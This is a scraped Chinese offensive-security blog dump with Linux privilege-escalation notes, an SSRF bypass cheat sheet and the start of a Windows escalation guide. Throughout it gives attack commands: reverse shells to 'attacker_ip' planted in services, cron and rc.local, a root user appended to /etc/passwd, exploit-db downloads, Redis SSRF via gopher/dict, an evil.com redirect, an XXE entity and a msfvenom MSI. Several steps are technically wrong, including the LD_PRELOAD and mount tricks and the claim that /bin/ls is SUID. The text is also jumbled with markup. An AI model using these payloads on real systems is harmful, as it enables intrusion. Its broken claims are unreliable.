下载并编译漏洞利用代码：\nwget https://www.exploit-db.com/download/43418 gcc 43418.c -o exploit 执行漏洞利用代码：\n./exploit 说明： 利用Linux内核中的已知漏洞获取root权限。\n其他提权方式 1. Sudo漏洞提权（CVE-2021-3156） 利用步骤：\nsudoedit /etc/passwd 输入#，然后按Enter，触发漏洞 系统会提示输入密码，但不需要输入，直接按Enter即可获得root shell 2. 利用SSH配置错误提权 利用步骤： 查看SSH配置文件：cat /etc/ssh/sshd_config 如果发现AllowUsers或DenyUsers配置不当 通过SSH登录，获取更高权限 3. 利用Web应用提权 利用步骤： 通过Web应用漏洞（如文件包含、命令执行） 执行系统命令，如whoami、id 如果能执行sudo -l，则查看sudo权限 利用发现的sudo权限提权 4. 利用LD_PRELOAD提权 利用步骤：\n创建恶意共享库：\necho \u0026#39;int main() { system(\u0026#34;/bin/bash\u0026#34;); }\u0026#39; \u0026gt; /tmp/exploit.c gcc /tmp/exploit.c -fPIC -shared -o /tmp/libexploit.so 设置环境变量：\nexport LD_PRELOAD=/tmp/libexploit.so 执行命令：\nls 系统会执行恶意库，获得root shell 5. 利用服务配置错误提权 利用步骤：\n查看系统服务：\nsystemctl list-units --type=service 如果发现服务配置不当，低权限用户对服务可执行文件有写权限\n替换为恶意程序：\necho \u0026#39;#!/bin/bash\u0026#39; \u0026gt; /usr/bin/service echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt;\u0026gt; /usr/bin/service chmod +x /usr/bin/service 重启服务，获得shell\nLinux非常规提权方式详解 在Linux系统中，除了常见的SUID、sudo配置错误、内核漏洞提权外，还有一些非常规的提权方式。这些方式往往利用系统设计中不太常见的配置或机制，下面详细介绍这些方法：\n一、利用FUSE (Filesystem in Userspace) 提权 原理 FUSE允许普通用户在用户空间实现文件系统，如果配置不当，可能允许低权限用户挂载具有高权限的文件系统。\n利用步骤 检查FUSE是否可用：\nlsmod | grep fuse 如果输出中包含fuse模块，说明FUSE可用。\n查找FUSE配置文件：\ncat /etc/fuse.conf 重点关注user_allow_other是否启用。\n创建恶意文件系统：\n# 创建一个简单的文件系统 mkdir /tmp/fuse echo \u0026#39;#!/bin/bash\u0026#39; \u0026gt; /tmp/fuse/mount.sh echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt;\u0026gt; /tmp/fuse/mount.sh chmod +x /tmp/fuse/mount.sh 挂载恶意文件系统：\n# 如果user_allow_other已启用 mount -t fuse -o allow_other /tmp/fuse/mount.sh /tmp/mount 系统会执行mount.sh脚本，获取shell 说明 FUSE的allow_other选项允许其他用户访问挂载点，如果配置不当，攻击者可以挂载恶意文件系统并执行任意命令。\n二、利用System V IPC 提权 原理 System V IPC（进程间通信）包括共享内存、消息队列和信号量。如果配置不当，低权限用户可能利用IPC机制提升权限。\n利用步骤 查找可访问的IPC对象：\nipcs -m ipcs -q ipcs -s 尝试修改IPC对象：\n# 例如，修改共享内存 ipcrm -m \u0026lt;shmid\u0026gt; 利用IPC对象触发漏洞：\n# 假设发现一个共享内存对象 # 创建一个恶意程序，利用该共享内存 # 编译并执行 gcc exploit.c -o exploit ./exploit exploit.c示例 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/ipc.h\u0026gt; #include \u0026lt;sys/shm.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { key_t key = ftok(\u0026#34;/tmp/shm\u0026#34;, 65); int shmid = shmget(key, 1024, IPC_CREAT | 0666); char *shmaddr = shmat(shmid, NULL, 0); // 尝试获取root权限 system(\u0026#34;chmod 777 /etc/passwd\u0026#34;); system(\u0026#34;echo \u0026#39;hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd\u0026#34;); return 0; } 说明 通过System V IPC，攻击者可以利用共享内存、消息队列或信号量的配置错误，触发高权限操作。\n三、利用系统日志处理机制提权 原理 某些系统日志处理程序（如rsyslog）在处理日志文件时可能存在权限问题，允许低权限用户执行高权限命令。\n利用步骤 查找日志处理配置：\ngrep -r \u0026#34;rsyslog\u0026#34; /etc/ 检查日志文件权限：\nls -l /var/log/syslog 创建恶意日志文件：\necho \u0026#39;action(type=\u0026#34;omfwd\u0026#34; target=\u0026#34;127.0.0.1\u0026#34; port=\u0026#34;514\u0026#34; protocol=\u0026#34;tcp\u0026#34;)\u0026#39; \u0026gt; /tmp/rsyslog.conf 触发日志处理：\nlogger \u0026#34;test\u0026#34; 如果rsyslog配置允许，可能会执行恶意命令 说明 如果rsyslog配置不当，攻击者可以通过日志文件触发高权限操作。\n四、利用系统时间戳提权 原理 某些系统服务在特定时间点执行高权限操作，攻击者可以通过修改系统时间触发这些操作。\n利用步骤 查看系统时间：\ndate 修改系统时间：\nsudo date -s \u0026#34;2023-01-01 00:00:00\u0026#34; 触发服务：\n# 某些服务在特定时间点执行 # 例如，cron任务在特定时间执行 说明 如果系统中有服务在特定时间点执行高权限操作（如备份、日志轮转），修改系统时间可能会触发这些操作。\n五、利用cgroups资源限制提权 原理 cgroups（控制组）用于限制、记录和隔离进程组的资源使用。如果配置不当，可能允许低权限用户提升权限。\n利用步骤 检查cgroups配置：\ncat /proc/self/cgroup 查找可修改的cgroups：\nls /sys/fs/cgroup 修改cgroups配置：\n# 例如，修改内存限制 echo 0 \u0026gt; /sys/fs/cgroup/memory/memory.limit_in_bytes 触发权限提升：\n# 通过修改cgroups配置，触发系统行为变化 说明 通过修改cgroups配置，攻击者可能绕过资源限制，执行高权限操作。\n六、利用网络配置提权 原理 某些网络配置（如iptables规则）可能允许低权限用户执行高权限操作。\n利用步骤 查看iptables规则：\niptables -L 尝试添加规则：\nsudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT 触发高权限操作：\n# 通过修改网络配置，触发服务高权限操作 说明 如果iptables配置不当，攻击者可能通过添加规则触发高权限操作。\n七、利用系统快照和备份机制提权 原理 系统快照和备份机制可能配置不当，允许低权限用户执行高权限操作。\n利用步骤 查找备份文件：\nfind / -name \u0026#34;*.bak\u0026#34; 2\u0026gt;/dev/null 修改备份文件：\necho \u0026#39;hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd.bak 触发备份机制：\n# 某些备份程序会将备份文件应用到系统 说明 如果备份机制配置不当，攻击者可能通过修改备份文件，触发系统应用高权限配置。\n八、利用系统服务环境变量提权 原理 某些系统服务在启动时使用环境变量，如果配置不当，攻击者可以设置环境变量触发高权限操作。\n利用步骤 查找系统服务：\nsystemctl list-units --type=service 查看服务配置：\nsystemctl cat \u0026lt;service\u0026gt; 设置环境变量：\nexport SERVICE_ENV_VAR=\u0026#34;malicious_value\u0026#34; 触发服务：\nsystemctl restart \u0026lt;service\u0026gt; 说明 通过设置环境变量，攻击者可以触发服务执行高权限操作。\n九、利用系统启动脚本提权 原理 系统启动脚本（如/etc/rc.local）可能配置不当，允许低权限用户在系统启动时执行高权限命令。\n利用步骤 检查启动脚本：\ncat /etc/rc.local 修改启动脚本：\necho \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt;\u0026gt; /etc/rc.local 重启系统：\nreboot 说明 通过修改系统启动脚本，攻击者可以在系统启动时获取shell。\n十、利用系统资源管理提权 原理 系统资源管理（如cgroups）可能配置不当，允许低权限用户提升权限。\n利用步骤 查看cgroups配置：\ncat /sys/fs/cgroup/cpu/cpu.cfs_quota_us 修改资源限制：\necho -1 \u0026gt; /sys/fs/cgroup/cpu/cpu.cfs_quota_us 触发权限提升：\n# 通过修改资源限制，触发系统行为变化 说明 通过修改cgroups配置，攻击者可能绕过资源限制，执行高权限操作。\n实战测试优先顺序 在渗透测试中，提权是获取系统控制权的关键环节。以下是我根据实战经验整理的最高频、最实用的提权方式，包括常规和非常规方法，附详细操作步骤和原理说明。\n一、SUID提权 原理 SUID（Set User ID）是一种特殊文件权限，使文件在执行时以文件所有者（通常是root）的权限运行，而不是以执行者权限运行。\n详细操作步骤 查找SUID文件（最常用命令）：\nfind / -perm -u=s -type f 2\u0026gt;/dev/null | grep -E \u0026#39;/bin|/usr/bin\u0026#39; 分析常见SUID文件：\n/bin/mount：最常用 /bin/ping：现代系统可能已修复 /usr/bin/gpasswd：常用 /usr/bin/chage：较少见 利用/bin/mount提权（最可靠）：\n# 创建临时目录 mkdir /tmp/mount touch /tmp/mount/malicious_file # 绑定挂载 /bin/mount -o bind /tmp/mount /tmp/mount # 触发挂载 /bin/mount /tmp/mount /tmp/mount # 检查权限 ls -l /tmp/mount 原理：mount命令以root权限执行，通过bind挂载，将当前用户可写目录挂载到系统目录，实现权限提升 利用/usr/bin/gpasswd提权：\n/usr/bin/gpasswd -a username root 原理：gpasswd允许用户添加自己到root组，无需密码（如果配置正确） 验证提权：\nwhoami # 应该输出：root 实战技巧 优先使用/bin/mount 使用grep过滤：避免输出过多无用信息 不要使用sudo：SUID提权不需要sudo 二、sudo配置错误提权 原理 sudo允许用户以root身份执行特定命令，如果配置不当（NOPASSWD），可直接提权。\n详细操作步骤 查看当前用户sudo权限：\nsudo -l 常见配置错误（重点检查）：\n(ALL) NOPASSWD: ALL：允许执行任意命令 (ALL) NOPASSWD: /usr/bin/vim (ALL) NOPASSWD: /usr/bin/nano (ALL) NOPASSWD: /bin/bash 利用vim提权（最常用）：\nsudo /usr/bin/vim 在vim中输入：\n:set shell=/bin/bash :shell 原理：vim允许设置shell，通过修改shell为/bin/bash，获得root shell\n利用nano提权：\nsudo /usr/bin/nano 按 Ctrl+R，输入 !bash，回车 原理：nano允许执行shell命令，通过!bash获取root shell 验证提权：\nwhoami # 应该输出：root 实战技巧 优先尝试sudo -l：这是最直接的检查方式 sudo -l -n：如果sudo -l需要密码，尝试-n选项（不提示密码） 不要尝试sudo su：如果配置允许，但通常需要密码 三、passwd文件提权 原理 如果/etc/passwd文件对普通用户可写，可以直接添加一个root用户。\n详细操作步骤 检查passwd文件权限：\nls -l /etc/passwd 如果显示为-rw-rw-r--或-rw-rw-rw-，则可写 生成加密密码：\nopenssl passwd -1 -salt hacker 123456 # 输出示例：$1$hacker$6luIRwdGpBvXdP.GMwcZp/ 添加root用户：\necho \u0026#34;hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd 原理：UID 0 表示root用户 切换到新用户：\nsu hacker # 输入密码：123456 验证提权：\nid # 应该输出：uid=0(root) gid=0(root) 实战技巧 优先检查权限：ls -l /etc/passwd是第一步 使用openssl生成密码：避免手动输入错误 如果/etc/passwd不可写： 检查/etc/passwd.bak或/etc/passwd-是否可写 有时系统使用符号链接，修改链接目标 四、内核漏洞提权（实战中需匹配版本) 原理 利用Linux内核中的已知漏洞获取root权限。\n详细操作步骤 获取系统信息：\nuname -a # 示例输出：Linux ubuntu 4.15.0-101-generic #102-Ubuntu SMP Mon Apr 22 20:32:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux 使用自动化工具查找漏洞：\nwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh 关键输出：Kernel version: 4.15.0-101-generic 和 Kernel exploits 下载并编译漏洞利用代码：\n# 以CVE-2016-5195为例 wget https://www.exploit-db.com/download/40653 gcc 40653.c -o exploit 执行漏洞利用代码：\n./exploit 验证提权：\nwhoami # 应该输出：root 实战技巧 优先使用LinPEAS：这是最高效的自动化工具 不要手动搜索CVE：自动化工具能快速定位 内核版本匹配：必须精确匹配系统版本 五、计划任务提权 原理 如果计划任务（cron job）配置不当，低权限用户可以修改计划任务执行的程序。\n详细操作步骤 查看当前用户的cron任务：\ncrontab -l 查看系统级cron任务：\nls /etc/cron.* 查找可写cron任务：\nfind / -writable -type f 2\u0026gt;/dev/null | grep cron 创建恶意脚本：\necho \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /tmp/malicious.sh chmod +x /tmp/malicious.sh 修改cron任务：\ncrontab -e # 添加一行：*/1 * * * * /tmp/malicious.sh 等待cron任务执行：\nnc -lvnp 4444 # 在攻击机上监听 验证提权：\nwhoami # 应该输出：root 实战技巧 优先检查/etc/cron.d/：系统级cron任务存放位置 利用/etc/cron.daily：每日执行的脚本 不要修改系统级cron：容易被发现 六、LD_PRELOAD提权 原理 LD_PRELOAD环境变量允许在程序执行前加载指定的共享库，如果程序以root权限执行，加载的共享库也会以root权限执行。\n详细操作步骤 创建恶意共享库：\necho \u0026#39;int main() { system(\u0026#34;/bin/bash\u0026#34;); }\u0026#39; \u0026gt; /tmp/exploit.c gcc /tmp/exploit.c -fPIC -shared -o /tmp/libexploit.so 设置环境变量：\nexport LD_PRELOAD=/tmp/libexploit.so 执行SUID程序：\n/bin/ls 原理：/bin/ls通常是SUID root，通过LD_PRELOAD加载恶意库，获得root shell 验证提权：\nwhoami # 应该输出：root 实战技巧 优先检查SUID文件：find / -perm -u=s -type f 2\u0026gt;/dev/null /bin/ls是最常用：几乎所有系统都有SUID版本 不要使用sudo：LD_PRELOAD不需要sudo 总结 自动化工具优先：\nwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh 这是提权的\u0026quot;瑞士军刀\u0026quot;，能快速发现所有提权点 提权顺序：\n先SUID提权 → 再sudo配置错误 → 再passwd文件 → 再内核漏洞 → 再计划任务 安全加固建议（系统管理员必看）：\n# 正确设置passwd权限 chmod 644 /etc/passwd # 正确设置sudoers visudo # 添加：username ALL=(ALL) NOPASSWD: /usr/bin/vim # 定期检查SUID文件 find / -perm -u=s -type f 2\u0026gt;/dev/null ","permalink":"https://h4xk0r.github.io/posts/linux%E6%8F%90%E6%9D%83/","summary":"\u003ch1 id=\"常规提权方式\"\u003e常规提权方式\u003c/h1\u003e\n\u003ch2 id=\"一sudo滥用提权\"\u003e一、sudo滥用提权\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003esudo -l\u003c/code\u003e提示要输入密码的原因:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e默认SUDO行为 : 需要输入当前用户的密码(不是root)密码\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003esudoers配置问题: 未配置免密码访问 在\u003ccode\u003e/etc/sudoers\u003c/code\u003e文件中没有为当前用户配置\u003ccode\u003eNOPASSWD\u003c/code\u003e选项\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e配置覆盖问题: 用户组覆盖了用户配置,可能被添加到了wheel用户组\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e检查当前用户所在组\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eid username \t\n\u003c/code\u003e\u003c/pre\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003e如果发现在wheel组中,检查wheel组的配置\u003c/p\u003e\n\u003cp\u003e查看\u003ccode\u003e%wheel\u003c/code\u003e相关配置,看是否设置了\u003ccode\u003eNOPASSWD\u003c/code\u003e或要求密码\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo visudo\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e从wheel组中移除用户\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo gpasswd -d username wheel\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"利用步骤\"\u003e利用步骤：\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e查看当前用户sudo权限\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo -l\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e示例输出：\u003ccode\u003e(ALL) NOPASSWD: /usr/bin/vim\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e利用vim提权\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo /usr/bin/vim\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e在vim中输入 \u003ccode\u003e:set shell=/bin/bash\u003c/code\u003e 回车\u003c/li\u003e\n\u003cli\u003e然后输入 \u003ccode\u003e:shell\u003c/code\u003e 回车\u003c/li\u003e\n\u003cli\u003e成功获得root shell\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e利用其他命令提权\u003c/strong\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果发现可以执行\u003ccode\u003e/usr/bin/nano\u003c/code\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo /usr/bin/nano\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e在nano中按\u003ccode\u003eCtrl+R\u003c/code\u003e，输入\u003ccode\u003e!bash\u003c/code\u003e，回车\u003c/li\u003e\n\u003cli\u003e即可获得root shell\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"说明\"\u003e说明：\u003c/h3\u003e\n\u003cp\u003esudo配置不当，允许用户以root身份执行特定命令，而无需密码验证。\u003c/p\u003e\n\u003ch2 id=\"二suid特殊权限提权\"\u003e二、SUID特殊权限提权\u003c/h2\u003e\n\u003ch3 id=\"利用步骤-1\"\u003e利用步骤：\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e查找SUID文件\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efind / -perm -u\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003es -type f 2\u0026gt;/dev/null\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e利用/bin/mount提权\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir /tmp/mount\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etouch /tmp/mount/malicious_file\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo /bin/mount -o bind /tmp/mount /tmp/mount\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo /bin/mount /tmp/mount /tmp/mount\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003e通过此方式可获取root权限\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e利用/bin/ping提权\u003c/strong\u003e：\u003c/p\u003e","title":"Linux提权"},{"content":"伪协议 PHP http/s:// 常用于探测存活主机和开放端口,配合burp\nhttps://example.com/title?title=http://127.0.0.1:6379 file:// 读取文件内容\nfile:///etc/passwd dict:// 字典服务协议，可以通过这个协议执行一些指令.但是dict很难完成复杂的认证，他每次发送的请求都是新建立的连接\ndict://127.0.0.1:6379/info gopher:// gopher协议可以伪造任何基于TCP的应用层协议报文（java不支持）\ngopher://\u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;/_\u0026lt;payload\u0026gt; _ : 占位符。gopher协议在传输中会吃掉路径后的第一个字符 \u0026lt;payload\u0026gt; : 经过URL编码的原始tcp数据流 JAVA file:// 协议\t与 PHP 类似\n可以读取本地文件：file:///etc/passwd。\nnetdoc:// 协议\t它允许你访问并提取 jar 包中的内容。\nPayload: netdoc:///etc/passwd jar:// 协议\t它允许你访问并提取 jar 包中的内容。\n语法： jar:{url}!/{entry} 用法： jar:http://evil.com/test.jar!/com/test/Main.class 利用点： 让服务器去下载远程恶意 jar 包。 读取本地 classpath 下的配置文件。 结合某些反序列化漏洞，控制类加载过程。 绕过 IP地址\n进制转换： 浏览器和许多网络库支持非十进制的 IP。 八进制： 0177.0.0.1 十六进制： 0x7f.0x0.0x0.0x1 十进制整数（最隐蔽）： 将 IP 换算成一个超大数字。127.0.0.1 ----\u0026gt; 2130706433 特殊省略写法： 127.0.0.1 可以写成 127.1 或 127.0.1。 0.0.0.0 在 Linux 下通常也会指向本地。 IPv6 绕过： 使用 [::1] 代表 127.0.0.1。 使用 IPv6 格式的内网地址。 利用DNS\n如果后端校验了域名解析后的IP，但是校验逻辑存在疏忽依然可以利用\n域名映射\n利用一些指向127.0.0.1的公网域名\nlocaltest.me customer-127-0-0-1.nimbus.no 127.0.0.1.nip.io DNS 重绑定\n原理： 控制一个dns服务器，设置极短的TTL ，第一次解析： 校验代码询问DNS，返回一个合法的外网IP，校验通过。 第二次解析：\n实际发起请求的代码再次询问DNS，由于TTL已经过期进行重新请求，这次返回127.0.0.1\nURL解析差异\n不同的编程语言或者库对url的解析规则不同\n@符号绕过：`http://www.google.com@127.0.0.1` 有些解析器认为访问的是 `google.com`。 有些（如 `curl`）则认为 `@` 前面是用户名密码，实际请求的是 `127.0.0.1`。 斜杠与反斜杠： http://expected.com\\@127.0.0.1 # 锚点绕过： http://127.0.0.1#www.google.com 利用重定向\n如果后端只检查初始输入的 URL 协议和域名，但不检查后续的跳转。\n你在自己的服务器 evil.com 上放一个脚本： \u0026lt;?php header(\u0026#34;Location: dict://127.0.0.1:6379\u0026#34;); ?\u0026gt; 输入 URL：http://evil.com/redirect.php\n服务器访问你的脚本，收到 302 跳转，于是顺着去请求了内网的 Redis。\njava的ssrf一般跟xxe有关\n用户上传 XML -\u0026gt; Java XML 解析器未禁用外部实体 -\u0026gt; 攻击者定义一个外部实体指向内网地址 -\u0026gt; 解析器去请求该地址。\n\u0026lt;!DOCTYPE test [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;http://127.0.0.1:8080/config\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;user\u0026gt;\u0026amp;xxe;\u0026lt;/user\u0026gt; 漏洞的挖掘 图片,文章收藏功能： 此处的图片，文章收藏中的文章就类似于分析功能中获取URL地址中的title以及文本的内容作为显示\n例如：title是文章的地址，收藏后访问地址变成\nhttps://example.com/title?title=http://title.com/askdf123 google语法关键字：\nshare\twap url\tlink src source target u display sourceURl imageURL domain 代码审计（php）\nphp产⽣ssrf的三个函数\ncurl_exec(): fsockopen(): file_get_contents: 这三个函数有⼀个共同点就是，都可以向⼀个⽹址或者站点发起⼀个请求\n","permalink":"https://h4xk0r.github.io/posts/ssrf/","summary":"\u003ch3 id=\"伪协议\"\u003e伪协议\u003c/h3\u003e\n\u003ch5 id=\"php\"\u003ePHP\u003c/h5\u003e\n\u003cp\u003e\u003ccode\u003ehttp/s://  \u003c/code\u003e常用于探测存活主机和开放端口,配合burp\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ehttps://example.com/title?title=http://127.0.0.1:6379\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003efile:// \u003c/code\u003e 读取文件内容\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003efile:///etc/passwd\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003edict://  \u003c/code\u003e字典服务协议，可以通过这个协议执行一些指令.但是\u003ccode\u003edict\u003c/code\u003e很难完成复杂的认证，他每次发送的请求都是新建立的连接\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edict://127.0.0.1:6379/info\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003egopher:// \u003c/code\u003e gopher协议可以伪造任何基于TCP的应用层协议报文（java不支持）\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egopher://\u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;/_\u0026lt;payload\u0026gt;\n\n_ : 占位符。gopher协议在传输中会吃掉路径后的第一个字符\n\u0026lt;payload\u0026gt; : 经过URL编码的原始tcp数据流\n\u003c/code\u003e\u003c/pre\u003e\u003ch5 id=\"java\"\u003eJAVA\u003c/h5\u003e\n\u003cp\u003e\u003ccode\u003efile://\u003c/code\u003e 协议\t与 PHP 类似\u003c/p\u003e\n\u003cp\u003e可以读取本地文件：\u003ccode\u003efile:///etc/passwd\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enetdoc://\u003c/code\u003e 协议\t它允许你访问并提取 \u003ccode\u003ejar\u003c/code\u003e 包中的内容。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePayload: \u003ccode\u003enetdoc:///etc/passwd\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003ejar://\u003c/code\u003e 协议\t它允许你访问并提取 \u003ccode\u003ejar\u003c/code\u003e 包中的内容。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e语法： \u003ccode\u003ejar:{url}!/{entry}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e用法： \u003ccode\u003ejar:http://evil.com/test.jar!/com/test/Main.class\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e利用点：\n\u003col\u003e\n\u003cli\u003e让服务器去下载远程恶意 jar 包。\u003c/li\u003e\n\u003cli\u003e读取本地 classpath 下的配置文件。\u003c/li\u003e\n\u003cli\u003e结合某些反序列化漏洞，控制类加载过程。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"绕过\"\u003e绕过\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eIP地址\u003c/strong\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e进制转换： 浏览器和许多网络库支持非十进制的 IP。\n\n八进制： 0177.0.0.1\n十六进制： 0x7f.0x0.0x0.0x1\n十进制整数（最隐蔽）： 将 IP 换算成一个超大数字。127.0.0.1 ----\u0026gt; 2130706433\n\n特殊省略写法：\n\n127.0.0.1 可以写成 127.1 或 127.0.1。\n0.0.0.0 在 Linux 下通常也会指向本地。\n\nIPv6 绕过：\n使用 [::1] 代表 127.0.0.1。\n使用 IPv6 格式的内网地址。\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e利用DNS\u003c/strong\u003e\u003c/p\u003e","title":"SSRF"},{"content":"Windows工作组环境和域环境提权方式详解 一、工作组环境提权方式 1. AlwaysInstallElevated提权 条件：\n系统已启用AlwaysInstallElevated（注册表值为1） 检查方法：\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 利用步骤：\n生成恶意MSI文件（在Kali Linux中）：\nmsfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd -f msi -o add.msi 如果在Windows上操作，可以使用在线工具生成MSI文件\n在Windows上执行：\nmsiexec /i add.msi 验证提权：\nnet user hacker 成功标志：看到hacker账户，且在管理员组中\n2. 服务权限配置错误提权 条件：\n服务路径权限配置错误 当前用户对服务可执行文件或目录有写权限 检查方法：\nsc query winpeas.exe quiet notcolor serviceinfo 利用步骤：\n找到一个服务（如Spooler）：\nsc qc Spooler 修改服务路径：\nreg add 